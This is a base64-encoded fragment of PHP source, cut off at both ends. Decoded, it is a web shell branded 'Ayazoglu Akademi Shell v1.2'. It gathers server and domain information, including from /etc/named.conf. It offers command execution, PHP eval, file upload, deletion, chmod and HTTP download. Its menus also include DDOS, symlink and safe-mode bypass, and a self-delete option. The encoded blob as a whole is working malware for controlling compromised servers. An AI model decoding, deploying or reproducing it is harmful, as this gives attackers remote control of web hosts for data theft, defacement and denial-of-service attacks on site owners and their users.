QoJJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jb3VudCgkcGF0aCk7DQoJZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsNCgkJJGN3ZF9saW5rcyAuPSAiPGEgIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykNCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCgkJJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCg0KJGRyaXZlcyA9ICIiOw0KZm9yZWFjaChyYW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpDQppZihpc19kaXIoJGRyaXZlLic6XFwnKSkNCiRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsNCg0KDQoNCg0KDQogZWNobyAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjxsaW5rIGhyZWY9Imh0dHA6Ly93d3cuYXlhem9nbHUub3JnL2Zhdmljb24uaWNvIiByZWw9Imljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIvPg0KPHRpdGxlPkF5YXpvZ2x1IEFrYWRlbWkgU2hlbGwgdjEuMjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KLndob2xlIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjQ0NDOw0KCWhlaWdodDphdXRvOw0KCXdpZHRoOiBhdXRvOw0KCW1hcmdpbi10b3A6IDEwcHg7DQoJbWFyZ2luLXJpZ2h0OiAxMHB4Ow0KCW1hcmdpbi1sZWZ0OiAxMHB4Ow0KfQ0KLmhlYWRlciB7DQoJaGVpZ2h0OiBhdXRvOw0KCXdpZHRoOiBhdXRvOw0KCWJvcmRlcjogN3B4IHNvbGlkICNDQ0M7DQoJY29sb3I6ICM5OTk7DQoJZm9udC1zaXplOiAxMnB4Ow0KCWZvbnQtZmFtaWx5OiBWZXJkYW5hLCBHZW5ldmEsIHNhbnMtc2VyaWY7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDsNCn0NCi5oZWFkZXIgYSB7Y29sb3I6IzBGMDsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0Kc3BhbiB7DQoJZm9udC13ZWlnaHQ6IGJvbGRlcjsNCgljb2xvcjogI0ZGRjsNCn0NCiNtZXVubGlzdCB7DQoJZm9udC1mYW1pbHk6IFZlcmRhbmEsIEdlbmV2YSwgc2Fucy1zZXJpZjsNCgljb2xvcjogI0ZGRjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOw0KCXdpZHRoOiBhdXRvOw0KCWJvcmRlci1yaWdodC13aWR0aDogN3B4Ow0KCWJvcmRlci1sZWZ0LXdpZHRoOiA3cHg7DQoJYm9yZGVyLXRvcC1zdHlsZTogc29saWQ7DQoJYm9yZGVyLXJpZ2h0LXN0eWxlOiBzb2xpZDsNCglib3JkZXItYm90dG9tLXN0eWxlOiBzb2xpZDsNCglib3JkZXItbGVmdC1zdHlsZTogc29saWQ7DQoJYm9yZGVyLXRvcC1jb2xvcjogI0NDQzsNCglib3JkZXItcmlnaHQtY29sb3I6ICNDQ0M7DQoJYm9yZGVyLWJvdHRvbS1jb2xvcjogI0NDQzsNCglib3JkZXItbGVmdC1jb2xvcjogI0NDQzsNCgloZWlnaHQ6IGF1dG87DQoJZm9udC1zaXplOiAxMnB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWJvcmRlci10b3Atd2lkdGg6IDBweDsNCn0NCiAgLndob2xlICNtZXVubGlzdCB1bCB7DQoJcGFkZGluZy10b3A6IDVweDsNCglwYWRkaW5nLXJpZ2h0OiA1cHg7DQoJcGFkZGluZy1ib3R0b206IDdweDsNCglwYWRkaW5nLWxlZnQ6IDJweDsNCgl0ZXh0LWFsaWduOmNlbnRlcjsNCglsaXN0LXN0eWxlLXR5cGU6IG5vbmU7DQoJbWFyZ2luOiAwcHg7DQp9DQogIC53aG9sZSAjbWV1bmxpc3QgbGkgew0KCW1hcmdpbjogMHB4Ow0KCXBhZGRpbmc6IDBweDsNCglkaXNwbGF5OiBpbmxpbmU7DQp9DQogIC53aG9sZSAjbWV1bmxpc3QgYSB7DQogICAgZm9udC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNlcmlmOw0KCWZvbnQtc2l6ZTogMTRweDsNCgl0ZXh0LWRlY29yYXRpb246bm9uZTsNCglmb250LXdlaWdodDogYm9sZDsNCgljb2xvcjogI2ZmZjsNCgljbGVhcjogYm90aDsNCgl3aWR0aDogMTAwcHg7DQoJbWFyZ2luLXJpZ2h0OiAtNnB4Ow0KCXBhZGRpbmctdG9wOiAzcHg7DQoJcGFkZGluZy1yaWdodDogMTVweDsNCglwYWRkaW5nLWJvdHRvbTogM3B4Ow0KCXBhZGRpbmctbGVmdDogMTVweDsNCglib3JkZXItcmlnaHQtd2lkdGg6IDFweDsNCglib3JkZXItcmlnaHQtc3R5bGU6IHNvbGlkOw0KCWJvcmRlci1yaWdodC1jb2xvcjogI0ZGRjsNCn0NCiAgLndob2xlICNtZXVubGlzdCBhOmhvdmVyIHsNCgljb2xvcjogIzAwMDsNCgliYWNrZ3JvdW5kOiAjZmZmOw0KfQ0KDQouZm9vdCB7DQoJZm9udC1mYW1pbHk6IFZlcmRhbmEsIEdlbmV2YSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOw0KCW1hcmdpbjogMHB4Ow0KCXBhZGRpbmc6IDBweDsNCgl3aWR0aDogMTAwJTsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQoJZm9udC1zaXplOiAxMnB4Ow0KCWNvbG9yOiAjQ0NDOw0KCWJvcmRlci1yaWdodC13aWR0aDogN3B4Ow0KCWJvcmRlci1sZWZ0LXdpZHRoOiA3cHg7DQogICAgYm9yZGVyLWJvdHRvbS13aWR0aDogN3B4Ow0KICAgIGJvcmRlci1ib3R0b20tc3R5bGU6IHNvbGlkOw0KICAgIGJvcmRlci1yaWdodC1zdHlsZTogc29saWQ7DQogICAgYm9yZGVyLXJpZ2h0LXN0eWxlOiBzb2xpZDsNCglib3JkZXItbGVmdC1zdHlsZTogc29saWQ7DQoJYm9yZGVyLXRvcC1jb2xvcjogI0NDQzsNCglib3JkZXItcmlnaHQtY29sb3I6ICNDQ0M7DQoJYm9yZGVyLWJvdHRvbS1jb2xvcjogI0NDQzsNCglib3JkZXItbGVmdC1jb2xvcjogI0NDQzsNCn0nOw0KaWYoaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSkNCiB7DQogICAgZWNobyAiLmZvb3R0YWJsZSB7DQogICAgd2lkdGg6IDMwMHB4Ow0KICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgIH0iO30NCiAgICBlbHNlDQogICAgew0KICAgICAgIGVjaG8gIi5mb290dGFibGUgew0KICAgIHdpZHRoOiAzMDBweDsNCiAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOnJlZDsNCiAgICB9DQogICAgLmRpciB7DQogICAgICBiYWNrZ3JvdW5kLWNvbG9yOnJlZDsgIA0KICAgIH0NCiAgICAiOyANCiAgICB9ICAgIA0KIGVjaG8gJy5tYWluIHRoe3RleHQtYWxpZ246bGVmdDt9DQogLm1haW4gYXtjb2xvcjogI0ZGRjt9DQogLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjpyZWQ7fQ0KIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KIC5iaWdhcmVheyB3aWR0aDo5OSU7IGhlaWdodDozMDBweDsgfSAgIA0KICA8L3N0eWxlPg0KDQonOw0KDQplY2hvICI8c2NyaXB0Pg0KICAgIHZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdmFyIGFfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2EnXSkgLiInDQogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOw0KICAgIHZhciBwMV8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AxJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDJfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMiddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBkID0gZG9jdW1lbnQ7DQoJZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87DQoJCWlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMudmFsdWU9Y187DQoJCWlmKHAxIT1udWxsKWQubWYucDEudmFsdWU9cDE7ZWxzZSBkLm1mLnAxLnZhbHVlPXAxXzsNCgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOw0KCQlpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1ZT1wM187DQoJCWlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87DQoJfQ0KCWZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJZC5tZi5zdWJtaXQoKTsNCgl9PC9zY3JpcHQ+IjsNCg0KICAgIA0KCWVjaG8gJw0KPC9oZWFkPg0KDQo8Ym9keSBiZ2NvbG9yPSIjMDAwMDAwIiAgbGVmdG1hcmdpbj0iMCIgdG9wbWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxkaXYgY2xhc3M9Indob2xlIj4NCjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YT4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWM+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDM+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pg0KPC9mb3JtPg0KICA8ZGl2IGNsYXNzPSJoZWFkZXIiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiAgYWxpZ249ImxpZnQiPg0KICA8dHI+DQogICAgPHRkIHdpZHRoPSIzJSI+PHNwYW4+VW5hbWU6PC9zcGFuPjwvdGQ+DQogICAgPHRkIGNvbHNwYW49IjIiPicuc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKS4nPC90ZD4NCiAgICA8L3RyPg0KICA8dHI+DQogICAgPHRkPjxzcGFuPlVzZXI6PC9zcGFuPjwvdGQ+DQogICAgPHRkPicuICR1aWQgLiAnIFsgJyAuICR1c2VyIC4gJyBdIDxzcGFuPiAgIEdyb3VwOiA8L3NwYW4+JyAuICRnaWQgLiAnIFsgJyAuICRncm91cCAuICcgXSA8L3RkPg0KICAgIDx0ZCB3aWR0aD0iMTQlIiByb3dzcGFuPSI4Ij48L3RkPg0KCTwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwYW4+UEhQOjwvc3Bhbj48L3RkPg0KICAgIDx0ZD4nLkBwaHB2ZXJzaW9uKCkuICcgICA8c3Bhbj4gICBTYWZlIE1vZGU6Jy4kc2FmZV9tb2Rlcy4nPC9zcGFuPjwvdGQ+DQogICAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZD48c3Bhbj5PdXIgSVA6PC9zcGFuPjwvdGQ+DQogICAgPHRkPicuQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdLicgICAgPHNwYW4+U2VydmVyIElQOjwvc3Bhbj4gJy5AJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uJzwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwYW4+V0VCUzo8L3NwYW4+PC90ZD4NCiAgICA8dGQgd2lkdGg9Ijc2JSI+JzsNCiAgICANCiAgICBpZigkR0xPQkFMU1snc3lzJ109PSd1bml4JykNCiAgICB7DQogICAgICAgICRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KICAgICAgICBpZighJGQwbWFpbnMpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIkNBTlQgUkVBRCBuYW1lZC5jb25mIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAkY291bnQ7ICANCiAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbikNCiAgICAgICAgIHsNCiAgICAgICAgICBpZihAZXJlZygiem9uZSIsJGQwbWFpbikpDQogICAgICAgICAgew0KICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOw0KICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgIGlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsNCiAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAkY291bnQrKzsNCiAgICAgICAgICAgfSANCiAgICAgICAgICAgfQ0KICAgICAgICAgICB9DQogICAgICAgICAgIGVjaG8gIiRjb3VudCAgRG9tYWlucyI7DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZXsgZWNobyJDQU5UIFJFQUQgfFdpbmRvd3N8Ijt9DQogICAgDQogICAgICBlY2hvICc8L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCBoZWlnaHQ9IjE2Ij48c3Bhbj5IREQ6PC9zcGFuPjwvdGQ+DQogICAgPHRkPicubWFkU2l6ZSgkdG90YWxTcGFjZSkuJyA8c3Bhbj5GcmVlOjwvc3Bhbj4nIC4gbWFkU2l6ZSgkZnJlZVNwYWNlKSAuICcgWycuIChpbnQpICgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkgLiAnJV08L3RkPg0KICAgIDwvdHI+JzsNCiAgDQogICAgIGlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnICkNCnsNCiAgICBpZighQGluaV9nZXQoJ3NhZmVfbW9kZScpKQ0KICAgIHsNCiAgICANCiAgICBlY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuPlVzZWZ1bCA6IDwvc3Bhbj4nOw0KICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOw0KICAgICBmb3JlYWNoKCR1c2VyZnVsIGFzICRpdGVtKQ0KICAgICAgICAgaWYobWFkV2hpY2goJGl0ZW0pKQ0KICAgICAgICAgZWNobyAkaXRlbS4nLCc7DQogICAgICAgICBlY2hvICc8L3RkPg0KICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+DQogICAgICAgICAgPHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4+RG93bmxvYWRlcjo8L3NwYW4+JzsNCiAgICAgICAgIA0KICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCiAgICAgIGZvcmVhY2goJGRvd25sb2FkZXJzIGFzICRpdGVtMikNCiAgICAgICBpZihtYWRXaGljaCgkaXRlbTIpKQ0KICAgICAgICBlY2hvICRpdGVtMi4nLCc7DQogICAgICAgIGVjaG8gJzwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+JzsNCiAgICAgICAgIA0KICAgICAgICAgIH0NCiAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgew0KICAgICAgICAgZWNobyAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIj48c3Bhbj51c2VmdWw6PC9zcGFuPic7IA0KICAgICAgICAgZWNobyAnLS0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICA8L3RyPjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuPkRvd25sb2FkZXI6IDwvc3Bhbj4tLS0tLS0tLS0tLS0tPC90ZD4NCiAgICAgICAgICAgICAgPC90cj4nOyAgDQogICAgICAgICB9DQp9DQplbHNlDQp7DQogICBlY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuPldpbmRvdzo8L3NwYW4+JzsNCiAgIGVjaG8gbWFkRXgoJ3ZlcicpOw0KICAgZWNobyAnPC90ZD4NCiAgICAgICAgIDwvdHI+IDx0cj4NCiAgICAgICAgPHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4+RG93bmxvYWRlcjogPC9zcGFuPi0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICAgICA8L3RyPic7IA0KICAgIA0KfSAgDQogICAgDQogDQogZWNobyAnPHRyPg0KICAgIDx0ZCBoZWlnaHQ9IjE2IiBjb2xzcGFuPSIyIj48c3Bhbj5EaXNhYmxlZCBmdW5jdGlvbnM6PC9zcGFuPicuJGRpc2Z1bi4nPC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCBoZWlnaHQ9IjE2IiBjb2xzcGFuPSIyIj48c3Bhbj5jVVJMOicuJGN1cmwuJyAgTXlTUUw6Jy4kbXlzcWwuJyAgTVNTUUw6Jy4kbXNzcWwuJyAgUG9zdGdyZVNRTDonLiRwZy4nICBPcmFjbGU6IDwvc3Bhbj4nLiRvci4nPC90ZD48dGQgd2lkdGg9IjE1JSI+PC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICA8dGQgaGVpZ2h0PSIxMSIgY29sc3Bhbj0iMyI+PHNwYW4+T3Blbl9iYXNlZGlyOicuJG9wZW5fYi4nIFNhZmVfbW9kZV9leGVjX2RpcjonLiRzYWZlX2V4ZS4nICAgU2FmZV9tb2RlX2luY2x1ZGVfZGlyOicuJHNhZmVfaW5jbHVkZS4nPC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCBoZWlnaHQ9IjExIj48c3Bhbj5TZXJ2ZXIgPC9zcGFuPjwvdGQ+DQogICAgPHRkIGNvbHNwYW49IjIiPicuQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykuJzwvdGQ+DQogIDwvdHI+JzsNCiAgaWYoJEdMT0JBTFNbc3lzXT09IndpbiIpDQogIHsNCiAgICBlY2hvICc8dHI+DQogICAgPHRkIGhlaWdodD0iMTIiPjxzcGFuPkRSSVZFOjwvc3Bhbj48L3RkPg0KICAgIDx0ZCBjb2xzcGFuPSIyIj4nLiRkcml2ZXMuJzwvdGQ+DQogICAgIDwvdHI+JzsNCiAgfQ0KICANCiAgZWNobyAnPHRyPg0KICAgIDx0ZCBoZWlnaHQ9IjEyIj48c3Bhbj5QV0Q6PC9zcGFuPjwvdGQ+DQogICAgPHRkIGNvbHNwYW49IjIiPicuJGN3ZF9saW5rcy4nICA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj48Zm9udCBjb2xvcj1yZWQgPnxDVVJSRU5UfDwvZm9udD48L2E+PC90ZD4NCiAgPC90cj4NCiAgPC90YWJsZT4NCjwvZGl2Pg0KIDxkaXYgaWQ9Im1ldW5saXN0Ij4NCiAgICAgIDx1bD4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+SE9NRTwvYT48L2xpPg0KDQo8bGk+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3Byb2NcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+UFJPQ0VTUzwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPkVWQUw8L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3FsXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPlNRTDwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdoYXNoXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPkhBU0g8L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnY29ubmVjdFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj5DT05ORUNUPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3pvbmVoXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPlpPTkUtSDwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdkb3NcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+RERPUzwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPlNBRkUgTU9ERTwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPlNZTUxJTks8L2E+PC9saT4NCjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3BvdFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj5BWUFaT0dMVTwvYT48L2xpPg0KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzZWxmcm1cJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+S0lsbCBDMGRlPC9hPjwvbGk+DQo8L3VsPg0KICAgIA0KICAgIDwvZGl2Pg0KJzsgICANCiAgICANCn0NCg0KZnVuY3Rpb24gbWFkZm9vdGVyKCkNCnsNCiAgICANCiAgICBlY2hvICI8dGFibGUgY2xhc3M9J2Zvb3QnIHdpZHRoPScxMDAlJyBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPSczJyBjZWxscGFkZGluZz0nMCcgPg0KICAgICAgIDx0cj4NCiAgICAgICAgIDx0ZCB3aWR0aD0nMTclJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+X19NSyBGSUxFX188L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyAgdHlwZT10ZXh0IG5hbWU9ZiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCiAgICAgICAgIDx0ZCB3aWR0aD0nMjElJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+X19NSyBESVJfXzwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9dGV4dCBuYW1lPWQgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQogICAgICAgICA8dGQgd2lkdGg9JzIyJSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJyx0aGlzLmRlbC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPl9fREVMRVRFX188L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPXRleHQgbmFtZT1kZWwgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQogICAgICAgICA8dGQgd2lkdGg9JzE5JSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnY2htb2QnKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+X19DSE1PRF9fPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT10ZXh0IG5hbWU9ZiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCiAgICAgICA8L3RyPg0KICAgICAgIDx0cj4NCiAgICAgICAgIDx0ZCBjb2xzcGFuPScyJz48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5fX0NIQU5HRSBESVJfXzwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KICAgICAgICAgPHRkIGNvbHNwYW49JzInPjxmb3JtIG1ldGhvZD0ncG9zdCcgPjxzcGFuPl9fSFRUUCBET1dOTE9BRF9fPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgdHlwZT10ZXh0IG5hbWU9cnRkb3duIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KICAgICAgICA8L3RyPg0KICAgICAgIDx0cj4NCiAgICAgICAgIDx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBvbnN1Ym1pdD1cImcoJ3Byb2MnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+X19FWEVDVVRFX188L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KICAgICAgICA8L3RyPg0KICAgICAgIDx0cj4NCiAgICAgICAgIDx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01Bbic+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPg0KICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8